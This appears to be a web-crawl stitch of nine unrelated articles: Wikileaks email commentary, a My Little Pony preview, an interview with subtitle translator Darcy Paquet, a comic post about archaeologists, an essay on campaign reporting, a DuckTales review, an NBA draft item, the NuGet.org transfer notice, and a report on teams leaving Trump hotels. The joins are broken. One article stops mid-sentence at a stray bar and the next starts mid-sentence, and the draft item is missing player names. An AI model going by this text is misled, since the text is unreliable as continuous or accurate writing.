The Wikileaks releases of emails from inside the Hillary Clinton campaign, the Democratic National Committee, and other Clinton-related entities have one thing in common with the Soviet transcripts I studied: Both data bases were created under the strong presumption that their contents would never be disclosed. That apparently was the purpose of Clinton’s so-called homebrew server. Hence, we are granted, in both cases, the rare opportunity to understand how things actually worked in the candid and unguarded words of those who ran the system.
The twenty thousand or so pages of Wikileaks emails likely come to us courtesy of a hostile power (Russia, and who knows, China or Iran) pursuing an anti-Clinton political agenda. Their unsavory origins, however, do not mean we should pay them no attention or not use them for historical analysis. The material is too voluminous for analysis over a short period of time. Instead, journalists are madly culling the cache of emails for sensational tidbits, which the media must decide whether to carry or ignore. Even with searchable data bases, the initial coverage of the email dumps will be superficial, cursory, and will have little lasting value.
Serious scholarly publications will not be written overnight. Information in the candid Wikileaks files must be compared with official releases that are heavily redacted. The principals must be interviewed, or their memoirs analyzed. Current press reports must be read to see what the media got right and wrong.
Serious historical analysis of the Wikileaks material should yield a Holy Grail of understanding of U.S. electoral politics: How campaigns are organized and financed, the role of dirty tricks and how they are organized, the deals that are struck, the relationship of the media to the campaign, the internal dynamics of campaign teams, and so on. Note that Wikileaks is a one-shot opportunity. No future presidential campaign will operate on the assumption that its antics will remain secret. They’ll be much more careful. Perhaps Wikileaks will have the perverse effect of “cleaning up” presidential campaigns for fear that “dirty tricks” will be disclosed.
Good historians work slowly and carefully. Readers who really want to understand “the unsavory sausage-making” of US electoral politics must exercise patience.Need a break from the traditional holiday-themed television specials flooding the airwaves? Check out a whole new holiday: Hearth’s Warming Eve, from this weekend’s episode of My Little Pony Friendship Is Magic.
(Spoiler alert: Minor plot points revealed in the text and video.)
In the exclusive clip above from Saturday’s episode, baby dragon Spike introduces the Hearth’s Warming Eve pageant and teases out a little bit of detail about the origin of the ponies’ home, Equestria.
Apparently, there was discord between the pegasi, the unicorns and the Earth ponies in the days before Equestria. Those differences had to be overcome to found the place where they’ve found their magic friendship. The episode promises to be a big hit for pony historians everywhere.
It’s been a big couple of weeks for My Little Pony and its fans. The Know Your Meme community just named bronies (men who are fans of the animated children’s show) one of 2011’s best memes.
And in the spirit of giving back this holiday season, pony fans have started a Humble Brony Bundle — a fundraiser to buy a Humble Indie Bundle, a special pack of indie games sold DRM-free, with proceeds going to to support indie gaming and organizations like Child’s Play and the American Red Cross.
Happy holidays, everypony.
My Little Pony Friendship Is Magic airs Saturdays at 10 a.m. Eastern/7 a.m. Pacific on the Hub TV network.Na Hong-jin's "The Wailing"
This is the last of a four-part series on the importance of translation in globalizing Korean culture. ― ED.
By Park Jin-hai
Park Chan-wook's "The Handmaiden" Darcy Paquet
Darcy Paquet, an American film critic and translator who has worked on English subtitles for over 100 Korean films, says movie subtitles in English have come a long way.
"The situation now is better than, for example, the late 1990s. Some of the films I see are translated quite well. But other times you come across some that don't, which is very frustrating, because the Korean dialogue is interesting but the subtitles are not," said Paquet during a recent interview with The Korea Times.
The Massachusetts native, who has been living in Korea for nearly 20 years, has been introducing Korean films to international movie fans and working on translations of numerous award-winning Korean films.
Most recently he worked on director Park Chan-wook's "The Handmaiden" and director Na Hong-jin's "The Wailing," both of which were invited to this year's Cannes Film Festival last month.
Paquet says it's not mistakes and grammatical errors that ruin subtitles.
Taking the example of actress Kim Hye-soo's famous line in the movie "Tazza: The High Rollers," whose word-for-word English translation reads like "I'm an Ewha Womans University graduate," he says sometimes he think subtitles are too simple.
"The original dialogue is very specific, but the English subtitles were very abstract. I think abstract is usually boring. You need to try hard to put specifics into the dialogue to make it interesting," he said. "Even if many foreigners watching don't know the school, people understand this must be a prestigious university and you get more of the feeling of the original. It sounds strange if you make it very abstract and easy to understand."
He says translating subtitles is somewhere closer to translating poetry than novels.
"You have such a small space. In translating poetry you try to make it rhyme. You have such restrictions on how you can do it, and if you want to express everything, you have to be really creative on how you do it," said Paquet.
He says most people would feel frustrated translating subtitles, even more so than translating novels, because the translator has to make compromises. "If there are two ideas in the sentence, many translators just cut one idea and translate the other idea. I think what translators need to do is to become better at squeezing more information into a small amount of space," he said.
He mentioned "Manshin: Ten Thousand Spirits," a documentary about shamanism directed by Park Chan-kyong, Park Chan-wook's younger brother, which he said is the most daunting job he has done. He adds that his recent translations for "The Handmaiden" and "The Wailing" have been just as painstaking.
With Park's film "The Handmaiden," actor Ha Jung-woo speaks very quickly, he said. "There was a lot of information and the dialogue was really interesting, so we wanted to include as much as possible. We really had to struggle to just to fit everything into the space."
As for Na's film, the dialect has given him a hard time.
"I love the way actress Chun Woo-hee speaks in that final scene. Her language was very simple but very weird. It's not standard speech. It's part dialect," he says.
"Sometimes you can do halfway. Dialect is part vocabulary, part intonation and part delivery. But, you can't write down intonation. You only use words."
The solution he came up with was to use older words people don't use so much in speech these days.
"As for dialect, you can hint at it and you can give it kind of a feeling of it, but you can't make the feeling of dialect as strong as in Korean. If you try to do that, then it comes out sounding really awkward and distracting," he explained.
Paquet says it helps to talk with directors.
"When often there are two ideas to translate it, I don't know which one is better," he said. "If the director says which one is better, it is closer to the director's intention. So I like working with directors."
With "The Handmaiden," his first work with Park, he says he went through many drafts for the subtitle translations.
"Park Chan-wook is a perfectionist in terms of film," he said, adding that they started working on it before the film was finished in anticipation of its invitation to Cannes.
"A lot of dialogue was changed at the last minute, so we had to update subtitles a lot. I sat down together with the director and looked at every dialogue line by line. We would try to come up with good solutions together."
Favorite languages of directors
Paquet added that the kind of language director Park likes is different from the language of Hong Sang-soo, another respected director he has worked with.
"You can feel the difference in Korean as well. Park's dialogue is very unusual and I think he does it on purpose. Sometimes he writes sentences in the way that people don't speak," he said. "It sounds unnatural but at the same time surprising and interesting. It's expressive. So the English ends up being similar words. It doesn't sound very natural but it sounds expressive. You have to choose between a more simple and natural feeling line of dialogue and something that is closer to the original but that feels a little bit awkward."
Although Park's movie is an adaptation from the British novel "Fingersmith" by Sarah Waters, he says he didn't use the same dialogue.
Most of the time it was better not to do exactly the same, he says because the film was different from the book.
The word "pigeon," used in the original book to symbolize the character's innocence, was changed into "lamb" in Park's movie.
"They appear on the screen in a flash and I don't think that you should make the viewers sit and think about the meaning of the word," he said.
Paquet has been running koreanfilm.org, an English-language website for Korean films, since 1999, posting reviews as well as a number of other international publications. He also teaches a cinema class at Korea University's International Summer Campus (ISC) program.
He says people around the world are still impressed by Korean movies.
"If you think about Korean cinema's place, it is very small compared to dramas and K-pop. It doesn't have that kind of popularity. The last five years have not been especially strong for Korean cinema compared to ten years and fifteen years ago. But, I think there are well-made films," he said. "From international perspectives, Korean movies don't travel very very far but only a few exceptions ― I think The Handmaiden and The Wailing both ― would probably be seen by a lot of people internationally."
Although he says Korea is full of talented movie makers, it is hard to make films in Korea ― the kind of films that could grab attention at international film festivals. Korea is high on technical skills but the business structure is a problem, he says.
"There are some issues with the system. I think it is easier to make films ― the kind of films that are successful at Cannes ― in Europe, because there is support for kind of big-budget art house films. Whereas in Korea, art house films are very low budget and it's only director Park Chan-wook and Bong Jun-ho," he said.
"Few directors have the power to make very cutting-edge films and look beautiful and cinematically very well made. If the government provided more financial support for filmmakers, like Europe does, then they could make films that would be more |
be in a bar and you might meet a sassy archaeologist like me (because that’s where sassy archaeologists hang out, when they aren’t in a cave in the Altai or a paleoethnobotany lab or something). If you don’t want to blow it, here are some tips on how to talk to an archaeologist:
1) Do not liken the archaeologist to Indiana Jones.
I know you think it’s charming and original, but it is so not. Nearly everyone says that. Scrolling through my first 100 messages on OkCupid reveals the following supporting data: 47% referenced Indiana Jones, 22% did not, and 31% cannot be determined because they were written in Hebrew.
Secondly, yes, we love Indy as an action hero, but he was a terrible archaeologist. He swashbuckled and plundered. He had reckless methodology and demonstrated no knowledge of archaeological theory. He was not advancing the field; he was treasure hunting. Would I make out with him? Obviously. Would I award him tenure at the University of Chicago? No.
(And here is a satirical tenure rejection letter to Indy that every archaeologist posted on fb when it was first written:
http://www.mcsweeneys.net/articles/back-from-yet-another-globetrotting-adventure-indiana-jones-checks-his-mail-and-discovers-that-his-bid-for-tenure-has-been-denied)
Academic archaeology is tedious and arcane. We devote years to developing narrow specializations, such as charcoal identification, ceramic typology, stone tool production, and sediment analysis, in order to answer obscure Ph.D.-worthy questions like: How was ceramic imagery used to construct or resist gender norms in pre-Formative Olmec society? Did diversification of marine resources in Late Bronze Age Arabia facilitate wider social transformations? Do oxygen isotopes in fossil ungulate teeth record seasonality that exerted an evolutionary pressure on early Homo?
Real archaeology is less of this, and more of…
…carrying buckets of dirt,
…straightening bent wires into straight wires so we can properly tag artifacts,
…trying to salvage bones that got flooded, moldy, and infested by rats while in storage…
…and studying dirt at the microscopic level.
Thus when some dude in a bar says to me, “So you’re just like Indiana Jones?”
I’m compelled to explain, “Well actually I’m more of an archaeological biogeochemist. I focus on radiocarbon dating to improve our understanding of where, when, and under what socioenvironmental contexts Neanderthals and our modern human ancestors met and in some cases interbred…”
He looks vacant.
If he’s cute I say, “So yeah, I’m just like Indiana Jones” and he looks satisfied.
If he’s not I say, “No. Nothing like Indiana Jones” and frown until he slinks away.
2) Be aware that archaeologists have nothing to do with dinosaurs.
Dinosaurs went extinct 66 million years ago. Archaeology begins about 2.5 million years ago with the earliest artifacts, putatively some stone tools found in Ethiopia (Semaw et al 1997: http://www.nature.com/nature/journal/v385/n6614/abs/385333a0.html). Just like you, everything I know about dinosaurs I learned between ages 5-8 or from watching Jurassic Park. In other words, I believe that if you don’t move T. Rex can’t see you.
It may look like we’re on a dinosaur safari, but we’re just looking for plain old human bones.
3) Archaeology excavations are not like camp.
Well they are like some kind of camp—something between summer camp and boot camp, but not quite concentration camp. No sane professional archaeologist enjoys excavations. They are physically, intellectually, socially, and emotionally draining. You live and work with 10-50 colleagues for numerous weeks, usually under conditions conducive to nothing but insanity. There is no time for free time and no space for personal space. You’re stranded at work all summer long.
Does this look like camp to you??
Once upon a time excavations were fun, when we were undergraduates and just required to wake up, tie our shoes, not screw up too much while digging, wash some pottery, get drunk, and repeat. After that, as graduate students or professionals, we care too much about the methodology and results to have fun. We need things done right. Our careers and humanity’s understanding of the past are at stake.
Now that I’m a supervisor, excavations are no fun!
Yes, there are aspects of the experience that are still enjoyable and certainly rewarding—or we would have quit long ago. We like the travel. We like being off the grid. We like you thinking, based on Facebook pictures and a priori notions, that our summers are exotic and thrilling. I’m a whistle blower for revealing the truth: excavations suck, but we still want you to be jealous of them.
Okay the off-the-grid travel is great.
4) Don’t ask, “What is the coolest thing you’ve ever found?”
The coolest thing I’ve ever found is nothing. The best thing that can happen in a given day is digging through sterile (meaning no artifacts or bones) sediment (what you would call dirt). When we find something we have to halt our meditative and/or mindless digging and concentrate. We have to carefully document its context with drawings, photographs, labels, and measurements. Fucking graph paper is usually required. When we have recorded every detail of its location, orientation, and essence, we carefully remove it from the ground and put it in proper storage. Then we realize we forgot to do something and we hope no one ever notices.
Ideally someone will find something spectacular that makes the site famous and all of our efforts worthwhile. I just don’t want to be that person. I want to find sterile sediment.
5) And most importantly don’t say, “I always wanted to be an archaeologist when I was a kid, but then I had to get a real job.”
What do you think? That it’s fake job? That we’re paid by fairies with Monopoly money? I’m guessing if you’re a doctor, lawyer, or banker, you had plenty of advantages and opportunities to pursue a path of your choosing. You could have been an archaeologist. It is a real job. But I’m glad that you didn’t because there aren’t that many tenure track professorships, so the fewer aspiring archaeologists, the better my chances.
So what should you say if you meet a sassy archaeologist in a bar?
“Cool. Can I buy you a drink?”
*correction: the song is called Orinoco Flow, but I think more people know what I’m talking about if I call it Sail Away.
AdvertisementsNever have so many done so much to reveal so little than in the collected journalism about presidential nomination contests. The personality-driven trivia. The hokey generalizations. The bogs of conventional wisdom. The day-by-day scorekeeping that ends up worse than uninformative; it is anti-informative. (Just ask Presidents George Romney, Edmund Muskie, Scoop Jackson, John Connally, Richard Gephardt, and Hillary Rodham Clinton.) The utter failure to inform the public of the actual, on-the-ground dynamics of the nuts-and-bolts process by which the parties chose their standard-bearers, and the larger dynamics that drive party trends from decade to decade.
And, last but not least, the shameful lack of any useful contribution to a richer public understanding of what any of this means for the future of the republic at large. Consider, to take an example close to hand, the saga of the $80,000 boat.
Never have so many done so much to reveal so little than in the collected journalism about presidential nomination contests.
On June 9, The New York Times ran a useful, detailed consideration of the finances of Marco Rubio. Publicly, the Florida senator describes his everyman’s struggle to “finally pay off his law school loans.” Privately, according to state records unearthed by the paper’s Steve Eder and Michael Barbaro, he spent “$80,000 for a luxury speedboat.”
The detail revealed a larger pattern: Rubio has been financially in the hole for nearly his entire adult life. The reason this mattered, noted the Times—whose work on Rubio has been a welcome exception to the rule of bad campaign reporting—was that it “has made him unusually reliant on a campaign donor, Norman Braman, a billionaire who has subsidized Mr. Rubio’s job as a college instructor, hired him as a lawyer, and continues to employ his wife.”
These details were explained in the Times a month earlier. The same two reporters described the 82-year-old Braman, an almost comically plutocratic figure who sells Rolls Royces and Bugattis for a living, and almost single-handedly recalled Miami’s mayor. Braman, who implored the Times reporters, “I don’t consider myself a fat cat. Don’t make me out to be a fat cat,” has been able to call the tune for the 44-year-old Rubio.
Then came Politico’s bubble-headed media reporter Dylan Byers with a scoop: Rubio’s “luxury speedboat” was “in fact, an offshore fishing boat.” Speedboats, you see, are for rich swells; fishing boats, even ones costing almost $100,000, are for jes’ folks.
Immediately, this supposed error became the shiny bouncing ball the political media decided to chase.
Politico covered Boatgate eight times over the next two weeks—Byers twice in two consecutive days. They didn’t mention Braman once. (They had mentioned him in May—in scorekeeping mode, as the “Miami auto dealer who’s expected to pour anywhere from $10 million to $25 million into [Rubio’s] bid.”) The Washington Post also featured little but nautically-inclined reporting on Rubio in that same period, seven pieces mentioning the boat including one fact-checking Jon Stewart and another headlined “Mr. Rubio, Like a Lot of Americans, Is Terrible With Money.” (Not, say, “Mr. Rubio, Like a Lot of Americans, Has a Surrogate Father Who Loans Him Rides on His Private Jet.”) The neocons at The Weekly Standard summed things up for the historical record: the Times’s “failed hit on Marco Rubio’s fishing boat” proved “Rubio is [the] GOP frontrunner.” End of story.
What else do you need to know about Marco Rubio in the second week of June 2015?
Political Science Fail
Political scientists, in their earnest, empirical way, don’t offer much more illumination. The most influential effort is The Party Decides: Presidential Nominations Before and After Reform (University of Chicago Press, 2008). Its coauthors John Zaller, Marty Cohen, Hans Noel, and David Karol have been frequently quoted on the subject. Unfortunately much of what they have to offer is banal.
“Candidates without party support have never won,” Zaller told The New York Times’ Nate Cohn—a water-is-wet sort of insight, and question-begging at that: what about Barry Goldwater, who had so much party “support” that hardly any Republican officeholders campaigned for him in 1964, or George McGovern in 1972, against whom major party figures and factions conspired in the general election?
What this all suggests is that the state-of-the-art statistical mojo conjured over 416 pages by four of the most respected scholars in the field amounts to very little when it comes to predicting who gets nominations and why.
Statisticians routinely warn of what they describe as the “small N” problem: unless there is enough data to work with, it’s all but impossible to make statistically valid conclusions.
There have been precisely 10 presidential election cycles in the modern period that began with the two parties reforming their nominating systems after 1968, to favor primaries and caucuses open to party rank and file instead of backroom brokering by party elites. That’s not enough data to come up with useful, statistically verifiable conclusions that can be expected to endure—such as the old saw about presidential nominations that “Democrats fall in love. Republicans fall in line.”
That is to say that Dems have ended up choosing sexy outliers who emerge as if from nowhere: George McGovern, Jimmy Carter, Bill Clinton. Republicans, more authoritarian in mien, tab the second place finisher in the previous contested race, or venerable warhorses, or presidents’ sons.
Today, this pattern appears to be an artifact of a bygone age. As of this writing there are 15 declared candidates. Early polling had Donald Trump in the lead, and not even a stable top tier, as revealed by polling, donations, endorsements, or any other metric you can think of.
Conned by Cohn
The bottom line is that the penumbras and emanations of Citizens United are changing the campaign game in ways that throw all previous understandings of how Republicans nominate presidents into a cocked hat.
So all is chaos? Nate Cohn, venturing one of his trademark analyses that cut through an apparent morass of complexity to reveal the truth hidden within, says not: He argued in April that the Republicans were well on their way to sorting themselves out into a traditional two-way race, a front-runner (either Bush, Walker, or possibly Rubio) and a rotating cast of colorful second-place flavors of the month, like in 2012. (Pop quiz: who was Herman Cain?) Cohn sorted the Republicans into three buckets, adducing historical antecedents for each. He claimed his argument reveals “underlying fundamentals” that “determine from the very start which candidate will win the nomination.”
He slips upon banana peel after banana peel in the attempt. His first bucket is “Invisible Primary Leaders”—whom he claims almost always win. He cites the Mitt Romneys, the GWB’s, the Al Gores, Walter Mondales—reasonable enough. But he also includes Ronald Reagan, which is nonsense. Running up to 1980, Reagan was the serious candidate least respected by “invisible primary” gatekeeping elites. Their darlings were Howard Baker, George Bush, and, most prominently, “Big John” Connally—who spent $11 million in 1980 to win a single delegate.
“No factor has proved more important to a candidate’s chances than the loyalty of party elites.” Not hardly. Cohn’s article only makes it seem so by excluding such elites of elite darlings as Scoop Jackson in 1976, Humphrey and Muskie in 1972, George Romney in 1968—and I could go on. He goes on to torture the data in such a way that 89 percent of those he lists as “Invisible Primary Winners” went on to become nominees. In my own tally of same, however, the number is more like 45 percent.
I could explore his argument further, but a third of the way through his article, Cohn’s whole foundation has so badly broken down, it hardly matters.
So what indicators should a well-informed citizen be following? Not polls. At this point in 2012 Mitt Romney was running behind Rudy Giuliani, with Sarah Palin close behind. Not even, really, the winners of elections. Who won that year’s Iowa caucus? Rick Santorum. He then carried 10 more states. It ended up not mattering. Republican nominations are not simple plebiscites; the process is much more occult than that.
Don’t pay overmuch attention to the braying loudmouths of the activist right either, as they flay Marco Rubio as a handmaiden of the Mexican hordes for daring to express compassion for immigrants; Ohio Governor John Kasich for herding the poor onto the federal plantation by accepting Obamacare’s Medicaid subsidies; Jeb Bush for welcoming brainwashing federal bureaucrats into Florida elementary schools.
Remember they flayed John McCain even worse. Talk-radio host Michael Reagan first noted the “huge gap that separates McCain,” who “has contempt for conservatives who he thinks we can be duped into thinking he’s one of them,” from “my dad, Ronald Reagan.” Eight days later Michael Reagan reconsidered and said “you can bet my father would be itching to get out on the campaign trail working to elect him.”
Authoritarians follow signals from above. Which won’t keep the puppies of the press corps from dwelling on which candidate the angry Tea Party bleaters are calling “unacceptable” this week, even though that really doesn’t matter.
What about endorsements? For one thing, you’ll have to scour the news to find them. Carly Fiorina may have won the undying devotion of Gene G. Chandler, deputy speaker of the New Hampshire House of Representatives. And have you heard Mike Huckabee has nabbed not just the lieutenant governor of Arkansas, but her secretary of state and state treasurer? But news like that is not particularly useful if you’re a producer or editor hungry for titillated eyeballs. And perhaps that’s for the best. The name of today’s game is TV commercials, not endorsements, door-knocking armies, and “walking around money.” TV is costly and it takes don’t-call-me-fat-cats like Norman Braman, Sheldon Adelson, and the Brothers Koch to pay those kinds of bills.
The Plutocrats’ Right to Choose
The bottom line is that the penumbras and emanations of Citizens United are changing the campaign game in ways that throw all previous understandings of how Republicans nominate presidents into a cocked hat. To see how it’s working on the ground, come with me to Southern California, where last year David and Charles Koch convened one of their dog-and-pony shows, where the aspirants lined up to stand on their hind legs to beg before their would-be masters. Politico spoke to two people who were there, and offered the following account of the performance of Ohio’s Governor John Kasich.
“Randy Kendrick, a major contributor and the wife of Ken Kendrick, the owner of the Arizona Diamondbacks, rose to say she disagreed with Kasich’s decision to expand Medicaid coverage, and questioned why he’d said it was ‘what God wanted.’” Kasich’s “fiery” response: “I don’t know about you, lady. But when I get to the pearly gates, I’m going to have to answer what I’ve done for the poor.”
Other years, before other audiences, such public piety might have sounded banal. This year, it’s enough to kill a candidacy:
“About 20 audience members walked out of the room, and two governors also on the panel, Nikki Haley of South Carolina and Bobby Jindal of Louisiana, told Kasich they disagreed with him. The Ohio governor has not been invited back to a Koch seminar.”
Which is, of course, astonishing. But even more astonishing was the lesson the Politico drew from it—one, naturally, about personalities: “Kasich’s temper has made it harder to endear himself to the GOP’s wealth benefactors.” His temper. Not their temper. Not, say, “Kasich’s refusal to kowtow before the petulant whims of a couple of dozen greedy nonentities who despise the Gospel of Jesus Christ has foreclosed his access to the backroom cabals without which a Republican presidential candidacy is inconceivable.”
All this noise doesn’t amount to a story by which citizens can understand what is going on. Not just concerning the candidates, but the behind-the-scenes string-pullers whose names should be almost as familiar to us as Mr. Bush, Mr. Rubio, and, God forbid, Dr. Carson.
To see how consequential the handing over of this kind of power to nonentities like these is, consider the candidates’ liabilities with another constituency once considered relevant in presidential campaigns: voters. Chris Christie’s home state approval rating, alongside his opening of a nearly billion-dollar hole in New Jersey’s budget, is 35 percent. While Christie has only flirted with federal law enforcement, Rick Perry has been indicted. Scott Walker’s approval rating among the people who know him best (besides David Koch) is 41 percent, and only 40 percent of Wisconsinites believe the state is heading in the right direction. Bobby Jindal’s latest approval rating in the Pelican State is 27 percent. Senator Lindsey Graham announced his presidency by all but promising he’d take the country to war; Jeb Bush by telling Americans they need to work more. Rick Santorum not so long ago made political history: he lost his Senate seat by 19 points, an unprecedented feat for a two-term incumbent.
That political facts this blunt are no longer disqualifying for presidential candidates is a sort of revolution. If the winnowing of front-runners from also-rans has traditionally been a financial process (when the money dries up, so do the campaigns) Sheldon Adelson of Las Vegas and Macau began tearing up that paradigm in 2012 by shoveling money to Newt Gingrich; $20 million total, including $5 million dispensed on March 23, three days after Gingrich won 8 percent in Illinois’s primary to Mitt Romney’s 47 percent, keeping Gingrich officially in the race more than a week after the RNC declared Romney the presumptive nominee.
Now, four previously unheard of super-PACS supporting Ted Cruz, who has no support among the GOP’s “establishment,” raised $31 million “with virtually no warning over the course of several days beginning Monday.” The New York Times reported this shortly after reporting that “[t]he leader of the Federal Election Commission, the agency charged with regulating the way political money is raised and spent, says she has largely given up hope of reigning in abuses in the 2016 presidential campaign, which could generate a record $10 billion in spending.”
The Koch Brothers, you can learn if you take a deep enough dive into the relatively obscure precincts of campaign coverage, are battling to take over a major functions of the Republicans National Committee.
And all this, admittedly, gets reported, in bits and pieces. But all this noise doesn’t amount to an ongoing story by which citizens can understand what is actually going on. Not just concerning who might be our next president, but what it all means for the republic. And not just concerning the candidates, but the behind-the-scenes string-pullers whose names, really, should be almost as familiar to us as Mr. Bush, Mr. Rubio, and, God forbid, Dr. Carson.
Instead, we get the same old hackneyed horse race—like, did you know that Rick Santorum is in trouble? Only one voter showed up at his June 8 event in Hamlin, Iowa. The Des Moines Register reported that. Politico made sure that tout Washington knew it. Though neither mentioned that Santorum is still doing just fine with the one voter the matters: Foster Friess, the Wyoming financier who gave his super-PAC $6.7 million in 2012, and promises something similar this year. “He has the best chance of winning,” Friess said. “I can’t imagine why anybody would not vote for him.’’ Which, considering only 2 percent of New Hampshirites and Iowans agree with him, is kind of crazy. And you’d think having people like that picking the people who govern us would all be rather newsworthy.
You’d be right.
Just don’t expect to read anything about it in Politico.
Rick Perlstein is The Washington Spectator’s national correspondent. His most recent book is The Invisible Bridge: The Fall of Nixon and the Rise of Reagan.
Illustration by Edel Rodriguez.Credit: Capcom
DuckTales: Remastered
Review by Seth Robison
Rama Rating 8 out of 10
Like “America” from West Side Story or the Mission: Impossible theme, there is an entire generation of humans who can’t, due to its irregular time structure, get the theme from the late 1980s animated series DuckTales out of their heads once its catchy beat starts up. Though there is a subset of that population who have it worse: those who played the 1989 NES adaptation of the series and were subjected to the theme’s even peppier 8-bit iteration that didn't stop at the show's title card.
It is a good thing then that Capcom’s twenty-five year old DuckTales game is still considered not only one of the best titles of that console generation, but is still near the top for best licensed game of all time. So it is a pleasant but not all together unexpected surprise that the new release DuckTales: Remastered, downloadable now for major consoles and PC, treads lightly in the shadow of its own reputation, respects the memories of a generation and adds only the touches one might except the original developers might have included if they’d had processing power that developer that WayForward Technologies (A Boy and His Blob (2009), Double Dragon Neon) has access to.
The most significant alteration in WayForward’s face-lift is the expansion of the game’s narrative. Where once there was just a simple narrative of progressing through stages collecting gems and bopping bad guys on the head, now each stage takes on the feel of a mini-episode of the old TV show as you guide the obscenely rich and greedy (but not heartless) Scrooge McDuck through ecologically diverse locations to battle redesigned bosses as part of a larger quest involving a recently discovered treasure map.
Though this expansion in storytelling can slow down the action (the plentiful cutscenes are skippable), the voice overs are performed by as many of the original cartoon’s voice actors that are still working/alive and are worth a listen for the childhood-transporting effect they’ll have on players. The Mouse House touch is also present in the game’s visual as the 8-bit sprites and basic overall look have been replaced with smoothly animated characters and 2.5D backgrounds that recall the visual treat of the 16-bit era of Disney titles like Aladdin and The Lion King.
DuckTales: Remastered also adds in a few of the modern touches that games can’t seem to live without anymore, including a brief new tutorial level, more difficulty settings and a concept art unlock system. The unlocks are powered by what was simply the game’s secondary objective: the collection of gems earned through diligent exploration which before only impacted the game’s ending.
In-game the platforming action is challenging and tight, the cane-based attacks (the pogo-jump and the golf swing) keep the player engaged in the action on screen at all times by forcing them to not only distinguish between a normal jump and an attacking pogo-jump, but in the case of the latter forcing the player to be constantly judging the consequences of each attack as a successful connection could send you bounding off into danger.
An altogether brief but entertaining adventure, DuckTales: Remastered will rekindle fond memories for older gamers and give a taste of old school platforming action to the uninitiated.Projected No. 1 draft pickwill interview with the top two teams in the NBA Draft lottery — the Minnesota Timberwolves and Los Angeles Lakers — but won’t workout for any teams, sources told SNY.tv.The Timberwolves own the No. 1 pick in the June 25 NBA Draft and have the right to select the 6-foot-11 Towns or 6-11 Duke big manwith the No. 1 pick. The Lakers pick second. DraftExpress.com projects that Towns, who is repped byof CAA, will go No. 1 to the Wolves. “It would be a blessing and an honor to even have a chance to play for Minnesota and be able to have the chance to play for a great organization and learn from a great mentor like” Towns told SNY.tv at the lottery.Towns is working out in Los Angeles with former UCLA star, who raved to SNY.tv about Towns’ potential and work ethic. “I’ve been doing this for 11 or 12 years pre-draft,” MacLean, the leading scorer in Pac-12 and UCLA history, previously told SNY.tv. “Because I had a lot of top 10 picks and a lot of really good players, I’m not really impressed or blown away. I had Towns all last week and I was blown away. Blown away. “A kid that big but shoots it that well but handles it that well and understands the game, that’s coachable, that wants to get better, wants to be great, I was blown away by him last week. “Am I a little biased? I’ve known Jahlil because I’ve done Adidas nations forever. Jahlil’s a great kid and a great player but I just think he doesn’t have as much to his game as Karl has.”Jennifer Pottheiser/NBAE/Getty ImagesSeptember 07, 2017 by Jon Galloway (.NET Foundation), Karan Nandwani (Microsoft)
NuGet.org, the package manager for.NET, was purpose-built as a global service with high scale performance regardless of the developer’s location. We are finding that this is not always the case, particularly for developers accessing the service from China, which is the second largest region for.NET developers. They frequently face higher download times resulting in poor restore performance and service outages.
We have been actively investigating solutions to this problem. Based on our tests, developers in China should see up to 30x improvement in package download times and on average, a 10x improvement in overall package restore time. The solution requires us to co-locate our blob storage in China and use a local CDN provider to serve package requests. As a result, in order to implement this solution and better serve the global.NET community, the.NET Foundation will transfer ownership of the NuGet.org service to Microsoft.
The.NET Foundation’s mission is to support open source.NET projects, and will continue to do so. However, as the NuGet service grows, Microsoft is in a better position to run such global services from an infrastructure and business perspective. Microsoft’s current footprint allows us to run the service in China – something that we cannot do under the.NET Foundation’s current charter. This will allow the.NET Foundation to focus its efforts on its core mission; supporting.NET open source projects.
We remain fully committed developing NuGet in the open, and the NuGet code base will remain a.NET Foundation project. This will enable us to continue to provide an agile and reliable global service, at the same time as ensuring a healthy ecosystem.
Q. What does this mean for me, as a NuGet.org package author or consumer?
There are no changes to the way you publish and consume packages from NuGet.org. The Terms of Service and Privacy Statement will be updated to reflect the change in ownership, how Microsoft will process the data collected, and manage copyright and trademark infringement notices.
Q. What about the NuGet project on GitHub? Does the move mean that NuGet is no longer open source?
The NuGet open source codebase (both the NuGet gallery and the NuGet client) will remain open source and continue as.NET Foundation supported projects under the same terms as before. We remain fully committed to ensuring a healthy and open ecosystem around NuGet. The NuGet.org service is an implementation of the NuGet gallery open source codebase and only this piece is moving to be owned by Microsoft.
Q. Did the NuGet team explore other alternatives?
We explored several options, including a parallel instance of the NuGet.org feed with a different URL (i.e., a mirror of NuGet.org). However, this option would not work for developers in China. Additionally, it does not provide a seamless experience, requiring developers to re-configure IDE, build machines, etc. depending upon location, to publish and consume packages from NuGet.org.
The.NET Foundation and Microsoft want NuGet to meet the evolving needs of our community. If we can do anything to improve your NuGet experience, please send us an email at feedback@nuget.org.Professional teams across four major sports leagues that sometimes stayed in Trump hotels are apparently now finding different lodging while on the road, according to a report Thursday.
An investigation by the Washington Post found that none of the 105 teams that responded from the total of 123 franchises from the National Basketball Association, the National Football League, the National Hockey League or Major League Baseball would confirm that it stays at a Trump-branded property while on the road.
Of the teams that responded, 18 declined to comment and 71 indicated that they hadn’t stayed at Trump hotels in recent years. A total of 17 confirmed a visit to a Trump property within the past seven years, but that they had stopped booking rooms after Donald Trump launched his run for the White House in June 2015.
Of the NFL, MLB, NHL and NBA teams that confirmed Trump hotel stays, all but one said they’re no longer checking into Trump’s hotels while traveling the country for road games.
Some of the franchises said the reason for the change had nothing to do with politics, but was rather due to the logistical challenges of getting in and out of hotels during their stay — specifically lower Manhattan to stay at the Trump Soho hotel. But some coaches and players have made it clear that Trump’s politics definitely factors into their decision to stay elsewhere.
“The president has seemingly made a point of dividing us as best he can,” Golden State Warriors coach Steve Kerr told the newspaper. “He continually offends people, and so people don’t want to stay at his hotel. It’s pretty simple.”
On Wednesday, President Trump said former NFL quarterback Colin Kaepernick should’ve been suspended for kneeling during the national anthem, his latest public foray into sports and the ongoing protests against racial inequality.
Trump last month disinvited the Golden State Warriors to the White House after guard Stephen Curry, LeBron James and other pro athletes condemned Trump’s comment during a political rally in Alabama calling for NFL owners to fire any “son of a bitch” who knelt during “The Star-Spangled Banner.” Just two days earlier, James called Trump a “bum” for rescinding the invite.
The Trump Organization declined requests for comment, the Washington Post reports, but White House press secretary Sarah Huckabee Sanders said Trump’s attacks on sports teams had nothing to do with losing professional athletes as customers.
“The president has repeatedly said he doesn’t care about his business, he cares about the country,” Sanders wrote the newspaper in an email. “The president’s position on athletes standing for the National Anthem is about respecting the flag and the men and women of the military who sacrifice to defend it and nothing else.”
NBA teams paid about $20,000 per night for rooms and food at hotels like Trump Soho, according to one team’s estimate, the newspaper reports.
